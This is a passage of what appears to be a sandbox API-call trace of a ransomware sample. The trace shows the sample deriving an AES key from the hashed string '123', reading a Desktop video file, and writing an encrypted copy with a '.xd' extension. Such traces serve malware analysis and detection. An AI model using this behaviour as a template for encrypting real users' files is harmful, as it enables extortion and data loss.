cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0077.297] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0077.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0077.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.297] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.297] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0077.298] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0077.298] CryptHashData (hHash=0x164c770, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0077.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.298] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.298] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.298] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.298] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0077.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0077.298] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0077.298] CryptDeriveKey (in: hProv=0x1632100, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2f0) returned 1 [0077.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.299] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.299] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0077.299] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0077.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0077.299] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0077.299] CryptDestroyHash (hHash=0x164c770) returned 1 [0077.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.299] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rlxbpt7zepqijwb.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0077.300] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.300] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0077.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.300] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0077.300] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rlxbpt7zepqijwb.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0077.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.301] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.303] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0077.303] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6540, lpOverlapped=0x0) returned 1 [0077.304] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0077.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.307] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0077.308] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.308] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.308] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0077.308] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.308] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0077.308] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.308] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.308] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0077.308] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0077.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0077.308] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0077.309] CryptGetKeyParam (in: hKey=0x164c2f0, dwParam=0x7, pbData=0x1629510, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629510*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0077.309] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.309] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.309] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.309] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.309] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.310] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.310] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.310] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.714] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0077.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0077.714] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0077.714] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x6540, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x6550) returned 1 [0077.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.714] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.715] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.715] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.715] CharLowerBuffW (in: lpsz="byte[25937]", cchLength=0xb | out: lpsz="byte[25937]") returned 0xb [0077.715] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.715] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.715] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.715] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0077.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ba0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0077.716] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0077.716] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17ed5b0*, pdwDataLen=0x130e618*=0x6540, dwBufLen=0x6550 | out: pbData=0x17ed5b0*, pdwDataLen=0x130e618*=0x6550) returned 1 [0077.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.718] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.718] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.718] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.719] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.719] WriteFile (in: hFile=0x3c8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x6550, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x6550, lpOverlapped=0x0) returned 1 [0077.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.720] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0077.720] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.720] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0077.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0077.721] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 